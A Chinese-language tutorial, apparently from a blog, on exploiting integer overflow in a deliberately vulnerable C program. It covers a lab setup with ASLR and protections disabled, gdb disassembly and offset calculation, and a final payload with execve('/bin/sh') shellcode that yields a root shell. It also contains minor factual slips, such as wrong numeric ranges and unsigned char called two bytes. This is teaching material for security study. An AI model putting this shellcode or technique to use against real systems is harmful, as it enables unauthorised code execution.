存储大于最大支持值的值称为整数溢出。整数溢出本身不会导致任意代码执行,但整数溢出可能会导致堆栈溢出或堆溢出,这可能导致任意代码执行。在这篇文章中,我将仅谈论整数溢出导致栈溢出,整数溢出导致堆溢出将在后面的单独的帖子中讨论。
数据的种类和范围
_______________________________________________________
|Data Type | Size | Unsigned Range | Signed Range |
|-------------------------------------------------------|
|char | 1 | 0 to 255 | -128 to 127 |
|-------------------------------------------------------|
|short | 2 | 0 to 65535 | -32768 to 32767 |
|-------------------------------------------------------|
|int | 4 | 0 to 4294967296| -2147483648 to |
| | | | 2147483647 |
|__________|_________|________________|_________________|
当我们试图存储一个大于最大支持值的值时,我们的值会被包装 。例如,当我们尝试将2147483648存储到带符号的int数据类型时,它将被包装并存储为-21471483648。这被称为整数溢出,这种溢出可能导致任意代码执行
一个demo
int main(void)
{
int len;
int data_len;
int header_len;
char *buf;
header_len = 0x10;
scanf("%uld", &data_len);
len = data_len+header_len //data_len负数, len很小的数
buf = malloc(len); //参数是size_t 该类型相当于 unsigned long int,申请了很小
read(0, buf, data_len); //第三个参数是size_t 该类型相当于 unsigned long int,属于无符号长整型,造成栈溢出
return 0;
}
下界溢出
当我们尝试将-2147483649存储到带符号的int数据类型时,它将被包装并存储为21471483647.这称为下界溢出
漏洞代码如下
//vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void store_passwd_indb(char* passwd) {
}
void validate_uname(char* uname) {
}
void validate_passwd(char* passwd) {
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd); /* [1] */ //返回的类型是size_t ,unsigned int ,4个字节,unsigned char两个字节
if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */ // 这里要求长度大于4,小于8
printf("Valid Password\n"); /* [3] */
fflush(stdout);
strcpy(passwd_buf,passwd); /* [4] */ //(11个字母,可以输入200多个)
} else {
printf("Invalid Password\n"); /* [5] */
fflush(stdout);
}
store_passwd_indb(passwd_buf); /* [6] */
}
int main(int argc, char* argv[]) {
if(argc!=3) {
printf("Usage Error: \n");
fflush(stdout);
exit(-1);
}
validate_uname(argv[1]);
validate_passwd(argv[2]);
return 0;
}
编译环境
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -g -fno-stack-protector -z execstack -o vuln vuln.c -m32
chmod 777 vuln
查看validate_passwd汇编代码
gdb-peda$ disassemble validate_passwd
Dump of assembler code for function validate_passwd:
0x08048507 <+0>: push ebp
0x08048508 <+1>: mov ebp,esp
0x0804850a <+3>: sub esp,0x28
0x0804850d <+6>: mov eax,DWORD PTR [ebp+0x8]
0x08048510 <+9>: mov DWORD PTR [esp],eax
0x08048513 <+12>: call 0x80483d0 <strlen@plt>
0x08048518 <+17>: mov BYTE PTR [ebp-0x9],al
0x0804851b <+20>: cmp BYTE PTR [ebp-0x9],0x3
0x0804851f <+24>: jbe 0x8048554 <validate_passwd+77>
0x08048521 <+26>: cmp BYTE PTR [ebp-0x9],0x8
0x08048525 <+30>: ja 0x8048554 <validate_passwd+77>
0x08048527 <+32>: mov DWORD PTR [esp],0x8048674
0x0804852e <+39>: call 0x80483b0 <puts@plt>
0x08048533 <+44>: mov eax,ds:0x804a040
0x08048538 <+49>: mov DWORD PTR [esp],eax
0x0804853b <+52>: call 0x8048390 <fflush@plt>
0x08048540 <+57>: mov eax,DWORD PTR [ebp+0x8]
0x08048543 <+60>: mov DWORD PTR [esp+0x4],eax
0x08048547 <+64>: lea eax,[ebp-0x14]
0x0804854a <+67>: mov DWORD PTR [esp],eax
0x0804854d <+70>: call 0x80483a0 <strcpy@plt>
0x08048552 <+75>: jmp 0x804856d <validate_passwd+102>
0x08048554 <+77>: mov DWORD PTR [esp],0x8048683
0x0804855b <+84>: call 0x80483b0 <puts@plt>
0x08048560 <+89>: mov eax,ds:0x804a040
0x08048565 <+94>: mov DWORD PTR [esp],eax
0x08048568 <+97>: call 0x8048390 <fflush@plt>
0x0804856d <+102>: lea eax,[ebp-0x14]
0x08048570 <+105>: mov DWORD PTR [esp],eax
0x08048573 <+108>: call 0x80484fd <store_passwd_indb>
0x08048578 <+113>: leave
0x08048579 <+114>: ret
End of assembler dump.
上述漏洞代码的[1]行显示了一个整数溢出错误。strlen()的返回类型是size_t(unsigned int),它存储在unsigned char数据类型中。因此,任何大于unsigned char的最大支持值的值都会导致整数溢出。因此当密码长度为261时,261将被包裹并存储为“passwd_len”变量中的5!由于这个整数溢出,可以绕过行[2]执行的边界检查,从而导致基于堆栈的缓冲区溢出!而且在这篇文章中看到,基于堆栈的缓冲区溢出导致任意的代码执行。
测试第一步:Return Address能否被覆盖
gdb vuln
gdb-peda$ r sploitfun `python -c 'print "A"*261'`
结果
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-292.el7.i686
测试第二步:offset 是多少
offset长度是0x18
0x18 = 0xb + 0x1 + 0x4 + 0x4 + 0x4
其中
- 0xb是‘passwd_buf’大小
- 0x1是‘passwd_len’大小
- 0x4是栈对齐大小
- 0x4是edi
- 0x4是caller’s EBP
因此,用户输入的“A” * 24 + “B” * 4 + “C” * 233
,以A覆盖passwd_buf,passwd_len,对齐空间,edi和调用者的ebp,以“BBBB”覆盖返回地址,以”C”覆盖剩余空间.
gdb vuln
gdb-peda$ r sploitfun `python -c 'print "A"*24 + "B"*4 + "C"*233'`
结果如下
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
这样我们就可以通过控制return address来控制程序
最终exp
gdb vuln
gdb-peda$ r sploitfun `python -c 'print "A"*24 + "\x24\xd5\xff\xff" +"A"*4+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+ "C"*204'`
结果
gdb-peda$ r sploitfun `python -c 'print "A"*24 + "\x24\xd5\xff\xff" +"A"*4+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+ "C"*204'`
Starting program: /root/sploitfun/vuln sploitfun `python -c 'print "A"*24 + "\x24\xd5\xff\xff" +"A"*4+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+ "C"*204'`
Valid Password
process 4612 is executing new program: /usr/bin/bash
Missing separate debuginfos, use: debuginfo-install glibc-2.17-292.el7.i686
sh-4.2# who
[New process 4674]
process 4674 is executing new program: /usr/bin/who
Missing separate debuginfos, use: debuginfo-install bash-4.2.46-33.el7.x86_64
root pts/3 Nov 7 15:50 (61.172.240.228)